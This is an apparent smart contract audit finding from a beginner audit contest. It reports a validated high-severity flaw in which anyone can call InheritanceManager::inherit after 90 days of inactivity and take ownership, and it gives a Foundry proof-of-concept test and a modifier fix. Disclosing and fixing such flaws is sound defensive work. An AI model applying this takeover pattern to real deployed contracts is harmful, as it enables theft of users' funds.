Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Contract Owner Rights Takeover

arinthal

Summary

An attacker can take over the rights of the contract owner by calling the InheritanceManager::inherit function.

Vulnerability Details

If the only beneficiary of the contract's funds is the owner's backup wallet, then after 90 days of inactivity, any user can take over the contract owner's rights and reset the timer by calling InheritanceManager::inherit.

Impact

The attacker gains full control over all funds stored in the contract, including ETH and ERC-20 tokens, and can transfer them to any address.

Proof of Code

Add the following code to the InheritanceManagerTest.t.sol file within the InheritanceManagerTest contract.

function test_gainContractOwership() external {
address attacker = makeAddr("attacker");
​
// add backup wallet address to the list of beneficiaries
// a 90-day timer is set
vm.prank(owner);
im.addBeneficiery(user1);
​
// the designated period of contract inactivity has passed
skip(90 days);
​
// attacker calls inheritance function
vm.prank(attacker);
im.inherit();
​
// attacker took over the rights of the owner
assertEq(attacker, im.getOwner());
}

Tools Used

  • Manual Review

  • Foundry

Recommended Mitigation

To prevent unauthorized ownership transfer, the InheritanceManager::inherit function should include the onlyBeneficiaryWithIsInherited modifier. This ensures that only designated beneficiaries or the owner's backup wallet can execute the function, preventing the described attack.

- function inherit() external {
+ function inherit() external onlyBeneficiaryWithIsInherited {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!